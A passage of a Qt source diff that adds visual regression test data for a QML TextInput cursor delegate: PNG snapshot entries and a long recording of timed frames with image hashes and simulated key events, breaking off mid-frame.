500; easing.type: "InQuad"} + NumberAnimation { properties: "opacity"; to: 0; duration: 500; easing.type: "OutQuad"} + } + } + width: 1; + } + } + ] + width: 400 + height: 200 + color: "white" + TextInput { id: mainText + text: "Hello World" + cursorDelegate: cursorA + focus: true + font.pixelSize: 28 + selectionColor: "lightsteelblue" + selectedTextColor: "deeppink" + color: "forestgreen" + anchors.centerIn: parent + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.0.png new file mode 100644 index 0000000..9d0bab2 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.1.png new file mode 100644 index 0000000..db66ff7 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.2.png new file mode 100644 index 0000000..cbcca68 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.3.png new file mode 100644 index 0000000..c22196b Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.3.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.4.png new file mode 100644 index 0000000..a1d051e Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.4.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.5.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.5.png new file mode 100644 index 0000000..9289dc0 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.5.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.6.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.6.png new file mode 100644 index 0000000..7331f89 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.6.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.7.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.7.png new file mode 100644 index 0000000..968bdd2 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.7.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.8.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.8.png new file mode 100644 index 0000000..9a3436a Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.8.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.qml new file mode 100644 index 0000000..3b664b6 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-MAC/cursorDelegate.qml @@ -0,0 +1,3379 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Frame { + msec: 32 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Frame { + msec: 48 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Frame { + msec: 64 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Frame { + msec: 80 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Frame { + msec: 96 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Frame { + msec: 112 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Frame { + msec: 128 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Frame { + msec: 144 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Frame { + msec: 160 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Frame { + msec: 176 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Frame { + msec: 192 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Frame { + msec: 208 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Frame { + msec: 224 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Frame { + msec: 240 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Frame { + msec: 256 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Frame { + msec: 272 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Frame { + msec: 288 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Frame { + msec: 304 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Frame { + msec: 320 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Frame { + msec: 336 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Frame { + msec: 352 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Frame { + msec: 368 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Frame { + msec: 384 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Frame { + msec: 400 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Frame { + msec: 416 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Frame { + msec: 432 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Frame { + msec: 448 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Frame { + msec: 464 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Frame { + msec: 480 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Frame { + msec: 496 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Frame { + msec: 512 + hash: "701d8c0f72330c0b72df071bd17749e6" + } + Key { + type: 6 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 528 + hash: "438be260f19d04c9f98ed7dce1c7db40" + } + Frame { + msec: 544 + hash: "6032aada2c48092000ecb93e52656414" + } + Frame { + msec: 560 + hash: "d23bdd94019477d8378cde580d8765ad" + } + Frame { + msec: 576 + hash: "d74f8e44d47710714d4197809fffb622" + } + Frame { + msec: 592 + hash: "4fbbb8447d80012bc6b5c24ddbfe498e" + } + Frame { + msec: 608 + hash: "4e875ba8703b690a17e445f2b3810435" + } + Frame { + msec: 624 + hash: "e4d7a59716cd704fe1cfa8ba91454e93" + } + Frame { + msec: 640 + hash: "a2ea272b45d8de225826d9381015ff2e" + } + Key { + type: 7 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 656 + hash: "5d112a3675ea4c010e7bc60e036d0262" + } + Frame { + msec: 672 + hash: "788d8962f311adf57a3acc876b0e8804" + } + Frame { + msec: 688 + hash: "827fdd6a3d1006f4a9dd2faf208ea436" + } + Key { + type: 6 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 704 + hash: "91b2695e4915238ae8610a64e279b0f4" + } + Frame { + msec: 720 + hash: "a97d90765f87b998eae6e9f603c61bff" + } + Frame { + msec: 736 + hash: "48969edab07b942480d93ac2d383ca24" + } + Frame { + msec: 752 + hash: "ecfd9d6d5873001f0c67806544a14983" + } + Frame { + msec: 768 + hash: "a3a3bc1e2523d3e7f961893bcd1dd3a8" + } + Frame { + msec: 784 + hash: "e337735ad0b42e60c54f16f3da7af3cf" + } + Frame { + msec: 800 + hash: "c39db081130d269f25dbcb1a19afb8d0" + } + Frame { + msec: 816 + hash: "c464d501e3935ec0f53eb780bd1a8289" + } + Key { + type: 7 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Key { + type: 6 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 832 + hash: "9dc01a69f2a6892d3c4203674c8bef72" + } + Frame { + msec: 848 + hash: "d94054222fd37a350bd8abd592a332e3" + } + Frame { + msec: 864 + hash: "46fed264c233490b477e3a7c22183e18" + } + Frame { + msec: 880 + hash: "34bc703c915b49b0450ece1d18306df8" + } + Frame { + msec: 896 + hash: "e87f18da2fa5c91c9b2b5dea50f9c1e2" + } + Frame { + msec: 912 + hash: "4f6dbc7b249c37390518cc263832b587" + } + Key { + type: 7 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 928 + hash: "df09fa2fd138d1b480eec82db3872d6f" + } + Frame { + msec: 944 + hash: "b74cb1bfbb979a5e91853d9145d277d8" + } + Frame { + msec: 960 + image: "cursorDelegate.0.png" + } + Frame { + msec: 976 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 992 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1008 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1024 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1040 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1056 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 16777248 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Key { + type: 6 + key: 16777249 + modifiers: 33554432 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1072 + hash: "35425ae3ccf3c8dcc1483479c57a3287" + } + Frame { + msec: 1088 + hash: "b74cb1bfbb979a5e91853d9145d277d8" + } + Frame { + msec: 1104 + hash: "df09fa2fd138d1b480eec82db3872d6f" + } + Frame { + msec: 1120 + hash: "4f6dbc7b249c37390518cc263832b587" + } + Frame { + msec: 1136 + hash: "e87f18da2fa5c91c9b2b5dea50f9c1e2" + } + Frame { + msec: 1152 + hash: "34bc703c915b49b0450ece1d18306df8" + } + Frame { + msec: 1168 + hash: "46fed264c233490b477e3a7c22183e18" + } + Frame { + msec: 1184 + hash: "d94054222fd37a350bd8abd592a332e3" + } + Frame { + msec: 1200 + hash: "9dc01a69f2a6892d3c4203674c8bef72" + } + Frame { + msec: 1216 + hash: "76fb2e1ad33affe33c0887f04caa7396" + } + Frame { + msec: 1232 + hash: "0f500339c81ca3621d13910017b84b7b" + } + Frame { + msec: 1248 + hash: "702864de569e6a5648ee174d5ef891f8" + } + Frame { + msec: 1264 + hash: "01e937e1fcc0331b2541fa32c3479a24" + } + Frame { + msec: 1280 + hash: "ee661e6cc1f86e755ff399adb6b11fd1" + } + Frame { + msec: 1296 + hash: "ea2d610e9b41e72b2984a51f0d3f7587" + } + Frame { + msec: 1312 + hash: "4a646d76b706698a02cead560b1f8d57" + } + Frame { + msec: 1328 + hash: "48ec87bfc25471f6fa2d43f9db80b693" + } + Key { + type: 6 + key: 16777234 + modifiers: 100663296 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1344 + hash: "12b5e016bad990d1f2bf427ee8e3e6d9" + } + Frame { + msec: 1360 + hash: "66a2ba3f9e005cd58aa50cfa0000cd15" + } + Frame { + msec: 1376 + hash: "a2e9e42e09dadbd0791f52bb96e0e0dc" + } + Frame { + msec: 1392 + hash: "ac68396566ea85a157e944e601dd8d18" + } + Frame { + msec: 1408 + hash: "b9bfdebec8dd1a93de7ef2768b2542ba" + } + Frame { + msec: 1424 + hash: "2e0a4b960803770acb34ef56ccf2be35" + } + Key { + type: 7 + key: 16777234 + modifiers: 100663296 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1440 + hash: "df1643f0f8b7aa2dc080958822aeb3d0" + } + Frame { + msec: 1456 + hash: "15bb91195adfaf83e88fd93e41ff3e17" + } + Frame { + msec: 1472 + hash: "dc0476c27bd7eef3a59637df9a3fecd8" + } + Frame { + msec: 1488 + hash: "a271f69e9dc6d1e0362c3e10760895df" + } + Frame { + msec: 1504 + hash: "7fe66bcc6bada354b4dd7baf8c977740" + } + Frame { + msec: 1520 + hash: "6b502dbd5ac8ff010df326cb9b593dce" + } + Frame { + msec: 1536 + hash: "a9dd21649a95a6a6e8daea91bc6e2a5f" + } + Frame { + msec: 1552 + hash: "374686590eaa02b7b436caa40cc0b0a0" + } + Frame { + msec: 1568 + hash: "09ac3c5d413b1f650407eaa971aade81" + } + Frame { + msec: 1584 + hash: "39f84e04f1ae58600591c0de40558d2c" + } + Frame { + msec: 1600 + hash: "0336ea1799835af2185c361e221a9661" + } + Frame { + msec: 1616 + hash: "8c7ab13e499d7f31107cf0f899334259" + } + Frame { + msec: 1632 + hash: "bad5899324e52c9e6eadb72f3e7c2150" + } + Frame { + msec: 1648 + hash: "4b78f451ecb22cfbed9f5998d61018eb" + } + Key { + type: 6 + key: 16777236 + modifiers: 100663296 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1664 + hash: "6c913bc712eee18947a43dd1c0a6516b" + } + Frame { + msec: 1680 + hash: "4e566abf1e0696e72b2a4beab5a53d6e" + } + Frame { + msec: 1696 + hash: "6ad579c289c63a6b90a1517765fc041e" + } + Frame { + msec: 1712 + hash: "cef43f349cf221a1aa6e6e70f1fa6339" + } + Key { + type: 7 + key: 16777236 + modifiers: 100663296 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1728 + hash: "d89f7e3e2510fcb34786584747633673" + } + Frame { + msec: 1744 + hash: "eb23a3eac684808f73034f4e4ef8984d" + } + Frame { + msec: 1760 + hash: "6f2c1f61e58940d9cc1a70c0db903446" + } + Frame { + msec: 1776 + hash: "f036a5ecda518be198f3bdf2dbc5baab" + } + Frame { + msec: 1792 + hash: "7411784774fdc3b324644395f7beb013" + } + Frame { + msec: 1808 + hash: "abfdd1f8440998af2ff7903f49f1bd7c" + } + Frame { + msec: 1824 + hash: "6edd29f2e8d3d81e912c6b279ecc1885" + } + Frame { + msec: 1840 + hash: "8eb5ba22793c7cbfa97a64557f2a023f" + } + Frame { + msec: 1856 + hash: "9a39470525e6f508228f7e0014e02d64" + } + Frame { + msec: 1872 + hash: "b3ad10cf28151f5f7f5a4c3540f1660e" + } + Frame { + msec: 1888 + hash: "816203df3cf42fa7a0e8d6730c186444" + } + Frame { + msec: 1904 + hash: "a0a7e7ff7960dfe6149e526badf799a6" + } + Frame { + msec: 1920 + image: "cursorDelegate.1.png" + } + Frame { + msec: 1936 + hash: "4d245b2285eadfd206409f74e03c7fc9" + } + Frame { + msec: 1952 + hash: "e1d5e6c2e4df1454b5a256c3678ffdef" + } + Frame { + msec: 1968 + hash: "781d7fb03a37cb3f297cc0d2df338fd7" + } + Key { + type: 7 + key: 16777249 + modifiers: 100663296 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1984 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2000 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2016 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2032 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2048 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2064 + hash: "781d7fb03a37cb3f297cc0d2df338fd7" + } + Frame { + msec: 2080 + hash: "e1d5e6c2e4df1454b5a256c3678ffdef" + } + Frame { + msec: 2096 + hash: "4d245b2285eadfd206409f74e03c7fc9" + } + Frame { + msec: 2112 + hash: "5a647962e016d15daa417d88524d6061" + } + Frame { + msec: 2128 + hash: "a0a7e7ff7960dfe6149e526badf799a6" + } + Frame { + msec: 2144 + hash: "816203df3cf42fa7a0e8d6730c186444" + } + Frame { + msec: 2160 + hash: "b3ad10cf28151f5f7f5a4c3540f1660e" + } + Frame { + msec: 2176 + hash: "9a39470525e6f508228f7e0014e02d64" + } + Frame { + msec: 2192 + hash: "8eb5ba22793c7cbfa97a64557f2a023f" + } + Frame { + msec: 2208 + hash: "6edd29f2e8d3d81e912c6b279ecc1885" + } + Frame { + msec: 2224 + hash: "abfdd1f8440998af2ff7903f49f1bd7c" + } + Frame { + msec: 2240 + hash: "7411784774fdc3b324644395f7beb013" + } + Frame { + msec: 2256 + hash: "f036a5ecda518be198f3bdf2dbc5baab" + } + Key { + type: 7 + key: 16777248 + modifiers: 33554432 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2272 + hash: "6f2c1f61e58940d9cc1a70c0db903446" + } + Frame { + msec: 2288 + hash: "eb23a3eac684808f73034f4e4ef8984d" + } + Frame { + msec: 2304 + hash: "d89f7e3e2510fcb34786584747633673" + } + Frame { + msec: 2320 + hash: "cef43f349cf221a1aa6e6e70f1fa6339" + } + Frame { + msec: 2336 + hash: "6ad579c289c63a6b90a1517765fc041e" + } + Frame { + msec: 2352 + hash: "4e566abf1e0696e72b2a4beab5a53d6e" + } + Key { + type: 6 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2368 + hash: "6c913bc712eee18947a43dd1c0a6516b" + } + Frame { + msec: 2384 + hash: "2c518a32ca3b5ca924709cc6990fb039" + } + Frame { + msec: 2400 + hash: "7f40db00bd3e6d0b39454eefa1403f44" + } + Frame { + msec: 2416 + hash: "98db32e0d1812e9584105dc4dbceff80" + } + Frame { + msec: 2432 + hash: "c2150a67391bb574141c16cb011847bf" + } + Frame { + msec: 2448 + hash: "f9ea21d894fa2dace4d43ce99a580b90" + } + Frame { + msec: 2464 + hash: "2f580c3244499fc6ecd2121693f463fd" + } + Key { + type: 7 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2480 + hash: "2f7f421d3e6a895a9efa6b0e8feb81c4" + } + Frame { + msec: 2496 + hash: "35a18447f319431ed0a645d05a1d03d1" + } + Frame { + msec: 2512 + hash: "54e36fb4014be554d13709b48b9bdce7" + } + Frame { + msec: 2528 + hash: "dbe3456536a729b268850a6ee5d1fb47" + } + Frame { + msec: 2544 + hash: "4c148434cf3868db5dc98f426d9fb913" + } + Frame { + msec: 2560 + hash: "2eb6da3ebfd531037523347603a805e2" + } + Frame { + msec: 2576 + hash: "fefbb2f4671f8a36f9d2207ced8c0bfb" + } + Frame { + msec: 2592 + hash: "1ab596339afc1f96136ee69c4b7688e1" + } + Frame { + msec: 2608 + hash: "e07f59d729cb2790296e8c7cd3d0d3c9" + } + Frame { + msec: 2624 + hash: "a7dccada1080487cab2d0a916676c5cb" + } + Frame { + msec: 2640 + hash: "ac5939eb4379394fab829b307cbfe7ec" + } + Frame { + msec: 2656 + hash: "9329d353c678d2bc61d08f63029d1b9b" + } + Frame { + msec: 2672 + hash: "41263f56af7875028bb0c1e7eccf6f5d" + } + Frame { + msec: 2688 + hash: "e2eb18af82c85ea78ba438163e922df3" + } + Frame { + msec: 2704 + hash: "91b2695e4915238ae8610a64e279b0f4" + } + Frame { + msec: 2720 + hash: "a97d90765f87b998eae6e9f603c61bff" + } + Frame { + msec: 2736 + hash: "48969edab07b942480d93ac2d383ca24" + } + Frame { + msec: 2752 + hash: "ecfd9d6d5873001f0c67806544a14983" + } + Key { + type: 6 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2768 + hash: "01e937e1fcc0331b2541fa32c3479a24" + } + Frame { + msec: 2784 + hash: "702864de569e6a5648ee174d5ef891f8" + } + Frame { + msec: 2800 + hash: "0f500339c81ca3621d13910017b84b7b" + } + Frame { + msec: 2816 + hash: "76fb2e1ad33affe33c0887f04caa7396" + } + Frame { + msec: 2832 + hash: "9dc01a69f2a6892d3c4203674c8bef72" + } + Frame { + msec: 2848 + hash: "d94054222fd37a350bd8abd592a332e3" + } + Frame { + msec: 2864 + hash: "46fed264c233490b477e3a7c22183e18" + } + Frame { + msec: 2880 + image: "cursorDelegate.2.png" + } + Key { + type: 7 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2896 + hash: "e87f18da2fa5c91c9b2b5dea50f9c1e2" + } + Frame { + msec: 2912 + hash: "4f6dbc7b249c37390518cc263832b587" + } + Frame { + msec: 2928 + hash: "df09fa2fd138d1b480eec82db3872d6f" + } + Frame { + msec: 2944 + hash: "b74cb1bfbb979a5e91853d9145d277d8" + } + Frame { + msec: 2960 + hash: "35425ae3ccf3c8dcc1483479c57a3287" + } + Frame { + msec: 2976 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2992 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3008 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3024 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3040 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3056 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3072 + hash: "35425ae3ccf3c8dcc1483479c57a3287" + } + Frame { + msec: 3088 + hash: "b74cb1bfbb979a5e91853d9145d277d8" + } + Frame { + msec: 3104 + hash: "df09fa2fd138d1b480eec82db3872d6f" + } + Frame { + msec: 3120 + hash: "4f6dbc7b249c37390518cc263832b587" + } + Frame { + msec: 3136 + hash: "e87f18da2fa5c91c9b2b5dea50f9c1e2" + } + Frame { + msec: 3152 + hash: "34bc703c915b49b0450ece1d18306df8" + } + Frame { + msec: 3168 + hash: "46fed264c233490b477e3a7c22183e18" + } + Frame { + msec: 3184 + hash: "d94054222fd37a350bd8abd592a332e3" + } + Frame { + msec: 3200 + hash: "9dc01a69f2a6892d3c4203674c8bef72" + } + Frame { + msec: 3216 + hash: "76fb2e1ad33affe33c0887f04caa7396" + } + Frame { + msec: 3232 + hash: "0f500339c81ca3621d13910017b84b7b" + } + Frame { + msec: 3248 + hash: "702864de569e6a5648ee174d5ef891f8" + } + Frame { + msec: 3264 + hash: "01e937e1fcc0331b2541fa32c3479a24" + } + Frame { + msec: 3280 + hash: "ee661e6cc1f86e755ff399adb6b11fd1" + } + Frame { + msec: 3296 + hash: "ea2d610e9b41e72b2984a51f0d3f7587" + } + Frame { + msec: 3312 + hash: "4a646d76b706698a02cead560b1f8d57" + } + Frame { + msec: 3328 + hash: "48ec87bfc25471f6fa2d43f9db80b693" + } + Frame { + msec: 3344 + hash: "827fdd6a3d1006f4a9dd2faf208ea436" + } + Frame { + msec: 3360 + hash: "788d8962f311adf57a3acc876b0e8804" + } + Frame { + msec: 3376 + hash: "5d112a3675ea4c010e7bc60e036d0262" + } + Frame { + msec: 3392 + hash: "a2ea272b45d8de225826d9381015ff2e" + } + Frame { + msec: 3408 + hash: "e4d7a59716cd704fe1cfa8ba91454e93" + } + Frame { + msec: 3424 + hash: "4e875ba8703b690a17e445f2b3810435" + } + Frame { + msec: 3440 + hash: "4fbbb8447d80012bc6b5c24ddbfe498e" + } + Frame { + msec: 3456 + hash: "d74f8e44d47710714d4197809fffb622" + } + Frame { + msec: 3472 + hash: "d23bdd94019477d8378cde580d8765ad" + } + Frame { + msec: 3488 + hash: "6032aada2c48092000ecb93e52656414" + } + Frame { + msec: 3504 + hash: "438be260f19d04c9f98ed7dce1c7db40" + } + Frame { + msec: 3520 + hash: "3af60972e7d5d4320a549e5df52a1228" + } + Frame { + msec: 3536 + hash: "bf8459b99ca0bf568c58a3bb2a2fcc1f" + } + Frame { + msec: 3552 + hash: "c0dc1cf5ba7014e069c4d4bd7ac0f89d" + } + Frame { + msec: 3568 + hash: "f2ddf9d4fd3a2a2d354172714ce94d99" + } + Frame { + msec: 3584 + hash: "bdfb42dc3879099e402784238c2cdddb" + } + Frame { + msec: 3600 + hash: "5e483b0fd4808f2fb31aea90ccf86d3e" + } + Frame { + msec: 3616 + hash: "8159bda651d95a320ac09aa6feb377a1" + } + Frame { + msec: 3632 + hash: "ceda37af96bd02baae218d3bfaed93f7" + } + Frame { + msec: 3648 + hash: "4b81757a105aa7c5ac6148455eea66c3" + } + Frame { + msec: 3664 + hash: "ff7e2cdd006f9b76ab8c0416d81f0cb1" + } + Frame { + msec: 3680 + hash: "9b174cd9a87ff193ce646408946b310c" + } + Frame { + msec: 3696 + hash: "89fa590b47ee77021dedf7938439ce69" + } + Frame { + msec: 3712 + hash: "6e5680803184dfc76cbf1c2de804d6cc" + } + Frame { + msec: 3728 + hash: "c6de6b9203673c77427ab84ce86daaf5" + } + Frame { + msec: 3744 + hash: "198f8e912c19debd51f837627d1171e9" + } + Frame { + msec: 3760 + hash: "3b380dcb6815698241f3dcccb52785c2" + } + Frame { + msec: 3776 + hash: "254942e12b8a31420d2243b7e2529ae8" + } + Frame { + msec: 3792 + hash: "ebf121910a5318c284f8e964d63aed40" + } + Frame { + msec: 3808 + hash: "0fcf416a80d22f077fcf4d23bddeb6c6" + } + Frame { + msec: 3824 + hash: "4a6596da390380dbafc1cdaceca1101e" + } + Frame { + msec: 3840 + image: "cursorDelegate.3.png" + } + Frame { + msec: 3856 + hash: "c2be53ae5e2d5d3081df9af31426ec84" + } + Frame { + msec: 3872 + hash: "52350ac5d10f8fe7571d12193b861d3f" + } + Frame { + msec: 3888 + hash: "f286a35d7f4a022315f69a5db72da388" + } + Frame { + msec: 3904 + hash: "aa329519eba4dad9589bff095528c535" + } + Frame { + msec: 3920 + hash: "0beae60853afaaa0e7f7540fb50bcddf" + } + Frame { + msec: 3936 + hash: "dc098a8b4d2f117a09cf1f2ced201a60" + } + Frame { + msec: 3952 + hash: "3655b992097b433071ec9dd69e086c70" + } + Frame { + msec: 3968 + hash: "82cb92d7940d13deee97e4ccda9210fb" + } + Frame { + msec: 3984 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4000 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4016 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4032 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4048 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4064 + hash: "82cb92d7940d13deee97e4ccda9210fb" + } + Key { + type: 6 + key: 16777232 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 4080 + hash: "3655b992097b433071ec9dd69e086c70" + } + Frame { + msec: 4096 + hash: "dc098a8b4d2f117a09cf1f2ced201a60" + } + Frame { + msec: 4112 + hash: "0beae60853afaaa0e7f7540fb50bcddf" + } + Frame { + msec: 4128 + hash: "aa329519eba4dad9589bff095528c535" + } + Key { + type: 7 + key: 16777232 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 4144 + hash: "f286a35d7f4a022315f69a5db72da388" + } + Frame { + msec: 4160 + hash: "52350ac5d10f8fe7571d12193b861d3f" + } + Frame { + msec: 4176 + hash: "c2be53ae5e2d5d3081df9af31426ec84" + } + Frame { + msec: 4192 + hash: "367391b2a124e2c818510567d0884d18" + } + Frame { + msec: 4208 + hash: "4a6596da390380dbafc1cdaceca1101e" + } + Frame { + msec: 4224 + hash: "0fcf416a80d22f077fcf4d23bddeb6c6" + } + Frame { + msec: 4240 + hash: "ebf121910a5318c284f8e964d63aed40" + } + Frame { + msec: 4256 + hash: "254942e12b8a31420d2243b7e2529ae8" + } + Frame { + msec: 4272 + hash: "3b380dcb6815698241f3dcccb52785c2" + } + Frame { + msec: 4288 + hash: "198f8e912c19debd51f837627d1171e9" + } + Frame { + msec: 4304 + hash: "c6de6b9203673c77427ab84ce86daaf5" + } + Frame { + msec: 4320 + hash: "6e5680803184dfc76cbf1c2de804d6cc" + } + Frame { + msec: 4336 + hash: "89fa590b47ee77021dedf7938439ce69" + } + Frame { + msec: 4352 + hash: "9b174cd9a87ff193ce646408946b310c" + } + Frame { + msec: 4368 + hash: "ff7e2cdd006f9b76ab8c0416d81f0cb1" + } + Frame { + msec: 4384 + hash: "4b81757a105aa7c5ac6148455eea66c3" + } + Frame { + msec: 4400 + hash: "ceda37af96bd02baae218d3bfaed93f7" + } + Frame { + msec: 4416 + hash: "8159bda651d95a320ac09aa6feb377a1" + } + Frame { + msec: 4432 + hash: "5e483b0fd4808f2fb31aea90ccf86d3e" + } + Frame { + msec: 4448 + hash: "bdfb42dc3879099e402784238c2cdddb" + } + Frame { + msec: 4464 + hash: "f2ddf9d4fd3a2a2d354172714ce94d99" + } + Frame { + msec: 4480 + hash: "c0dc1cf5ba7014e069c4d4bd7ac0f89d" + } + Frame { + msec: 4496 + hash: "bf8459b99ca0bf568c58a3bb2a2fcc1f" + } + Frame { + msec: 4512 + hash: "3af60972e7d5d4320a549e5df52a1228" + } + Frame { + msec: 4528 + hash: "438be260f19d04c9f98ed7dce1c7db40" + } + Frame { + msec: 4544 + hash: "6032aada2c48092000ecb93e52656414" + } + Frame { + msec: 4560 + hash: "d23bdd94019477d8378cde580d8765ad" + } + Frame { + msec: 4576 + hash: "d74f8e44d47710714d4197809fffb622" + } + Key { + type: 6 + key: 16777233 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 4592 + hash: "4fbbb8447d80012bc6b5c24ddbfe498e" + } + Frame { + msec: 4608 + 